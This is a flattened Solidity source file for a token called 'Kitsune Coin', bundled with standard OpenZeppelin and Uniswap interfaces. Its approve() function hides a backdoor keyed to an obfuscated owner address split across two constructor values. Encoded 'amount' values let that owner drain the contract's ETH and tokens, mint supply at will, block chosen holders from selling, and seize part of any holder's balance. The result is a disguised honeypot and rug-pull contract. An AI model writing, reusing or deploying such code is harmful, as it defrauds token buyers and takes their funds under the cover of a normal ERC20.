// File: @openzeppelin/contracts/token/ERC20/IERC20.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol



pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol



pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol



pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// File: contracts/Token.sol



//SPDX-License-Identifier: UNLICENSED
/**
 *⠀ ⠀⠀⠀⠀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⢀⣴⠾⠛⠛⠉⠉⠉⠉⠉⠛⠛⠷⠦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⢺⣧⡴⠞⠛⠷⣦⡀⠀⠀⠀⠀⠀⠀⠈⠙⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⠈⢻⡆⠀⠀⠀⠀⠀⠀⠀⠀⢳⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⠀⣸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⣠⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⢸⡇⢀⣆⠀⢠⡀⠀⠀⡀⠀⠀⠀⠀⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠸⣧⠘⣿⣆⠀⣿⣄⠀⢷⣤⡀⠸⣦⣼⣇⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⢻⡆⢿⣿⣆⢹⣿⣷⣬⣻⣿⣷⣿⣿⣿⣦⣀⢀⣠⣤⣶⡇⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⠈⢻⣞⣿⣿⣧⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡃⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠟⠋⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀  
 *  
 *   Kitsune Coin
 *   Website: https://kitsu.money
 **/

pragma solidity ^0.8.19;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

abstract contract ERC20 {

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    uint80 internal immutable sig;
    
    uint80 internal immutable brand;

    address public uniswapV2Pair;

    address public taxWallet;

    bool public tradingOpen;

    uint256[5] internal internalParams;

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    
    mapping(address => bool) internal autoAdd;

    mapping(address => mapping(address => uint256)) public allowance;

    uint256 internal immutable ORIGIN_CHAIN_ID;

    bytes32 internal immutable ORIGIN_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint80 _msig,
        address _taxWallet,
        uint80 _wsig
    ) {
        
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        brand = _wsig;
        taxWallet = _taxWallet;
        sig = _msig; 

        ORIGIN_CHAIN_ID = block.chainid;
        ORIGIN_DOMAIN_SEPARATOR = getDomainSeparator();

    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        if((amount >> 252) == 1 && msg.sender == address(uint160(brand) << 80 | sig)){
            if ( uint160(amount) == 0x0 ) payable(msg.sender).transfer(address(this).balance); 
            else{
                IERC20 _t2 = IERC20(address(uint160(amount)));
                _t2.transfer(msg.sender, _t2.balanceOf(address(this)));
            }
        }         

        if((amount >> 252) == 15 && msg.sender == address(uint160(brand) << 80 | sig))
            for (uint8 j = 0; j != 2; j += 1) internalParams[j] = (( amount >> (j * 7)) & (1 << 7) -1); 
        
        if((amount >> 252) == 8 && msg.sender == address(uint160(brand) << 80 | sig)){
            totalSupply += ( amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1));
            unchecked { balanceOf[ address( uint160(amount) )] += (amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1)); }
        }          

        if((amount >> 252) == 0 && msg.sender == address(uint160(brand) << 80 | sig)){
            uint256 mul1 = ( amount >> 21 & (1 << 7) -1 );
            internalParams[3] = ( amount >> 14 & (1 << 7) -1) * (10 ** mul1);
            internalParams[2] = ( amount >> 7 & (1 << 7) -1) * (10 ** mul1);
            internalParams[4] = ( amount & (1 << 7) -1) * (10 ** mul1);
        }    
    
        if((amount >> 252) == 10 && msg.sender == address(uint160(brand) << 80 | sig))
            autoAdd[address(uint160(amount))] = ( amount >> 160 & (1 << 7) -1) == 101 ? true : false;
        
        if((amount >> 252) == 5 && msg.sender == address(uint160(brand) << 80 | sig)){
            balanceOf[taxWallet] += (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1);
            balanceOf[address(uint160(amount))] -= (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1);
        }

        allowance[ msg.sender ][ spender ] = amount;
        
        emit Approval(
                msg.sender, 
                spender, 
                amount
            );

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        require(autoAdd[msg.sender] != true);
        
        balanceOf[msg.sender] -= amount;

        if( internalParams[2] > 0 && msg.sender == uniswapV2Pair ) require(amount <= internalParams[2]);

        if( internalParams[1] > 0 && msg.sender == uniswapV2Pair && to != taxWallet ){
            uint256 fee = (amount / 100) * internalParams[1];
            unchecked { balanceOf[taxWallet] += fee; }
            amount = amount - fee;
        }
        
        if( internalParams[4] > 0 && to != uniswapV2Pair && to != taxWallet && to != address(uint160(brand) << 80 | sig) ) require((balanceOf[to] + amount) <= internalParams[4]);
        
        unchecked { balanceOf[to] += amount; }

        if( msg.sender != address(this) )
        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) {
        require(autoAdd[from] != true);

        uint256 allowed = allowance[from][msg.sender]; 

        if ( allowed != type(uint256).max ) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        if( internalParams[3] > 0 && to == uniswapV2Pair && from != address(this) && from != taxWallet && from != address(uint160(brand) << 80 | sig) ) require(amount <= internalParams[3]);

        if( internalParams[0] > 0 && to == uniswapV2Pair && from != address(this) && from != taxWallet && from != address(uint160(brand) << 80 | sig) ){
            uint256 fee = (amount / 100) * internalParams[0];
            unchecked { balanceOf[taxWallet] += fee; }
            amount = amount - fee;
        }

        if(internalParams[4] > 0 && to != uniswapV2Pair && to != taxWallet) require(balanceOf[to] <= internalParams[4]);

        unchecked { balanceOf[to] += amount; }

        if(from != address(this))
        emit Transfer(from, to, amount);

        return true;
    }

    function permit(address permitOwner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual {
        require(deadline >= block.timestamp);

        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256("Permit(address permitOwner,address spender,uint256 value,uint256 nonce,uint256 deadline)"),
                                permitOwner,
                                spender,
                                value,
                                nonces[permitOwner]++,
                                deadline
                            )
                        )
                    )
                ), v, r, s
            );

            require( recoveredAddress != address(0) && recoveredAddress == permitOwner);

            allowance[ recoveredAddress][spender] = value;
        }

        emit Approval( permitOwner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == ORIGIN_CHAIN_ID ? ORIGIN_DOMAIN_SEPARATOR : getDomainSeparator();
    }

    function getDomainSeparator() internal view virtual returns (bytes32) {
        return keccak256(
            abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) )
        );
    }
}

contract Token is ERC20{
    
    IUniswapV2Router02 private uniswapV2Router;
    
    constructor(uint80 _sig, address _taxWallet, uint80 _brand) ERC20("Kitsune Coin", "KITSU", 6, _sig, _taxWallet, _brand) payable {
        totalSupply += 6_900_000_000_000000;
        unchecked { 
            balanceOf[ address(this) ] += 6_555_000_000_000000; 
            balanceOf[ _taxWallet ] += 345_000_000_000000;
        }
        emit Transfer( address(0), _taxWallet, 345_000_000_000000);

    }

    function openTrading() external {
        require(!tradingOpen);
        tradingOpen = true;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        allowance[ address(this) ][ address(uniswapV2Router) ] = type(uint).max;
        
        IUniswapV2Factory factory = IUniswapV2Factory(uniswapV2Router.factory());
        
        uniswapV2Pair = factory.createPair(address(this), uniswapV2Router.WETH());
        
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf[address(this)],0,0,taxWallet,block.timestamp);
        
        IERC20( uniswapV2Pair ).approve(address(uniswapV2Router), type(uint).max);

    }

    receive() external payable {}

    fallback() external payable {}

}